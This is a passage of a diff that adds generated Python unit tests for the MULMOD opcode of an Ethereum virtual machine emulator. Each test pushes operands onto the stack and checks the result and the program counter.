+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_516(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_517(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_518(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_519(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_520(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_521(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_522(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_523(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17L])
+
+    def test_MULMOD_524(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_525(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_MULMOD_526(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_527(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_MULMOD_528(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_529(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_530(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_531(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_532(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_533(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_534(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_MULMOD_535(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_536(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_537(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_538(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_539(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_540(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_541(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_542(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_543(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_544(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_545(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_546(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_547(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            new_vm._push(32)
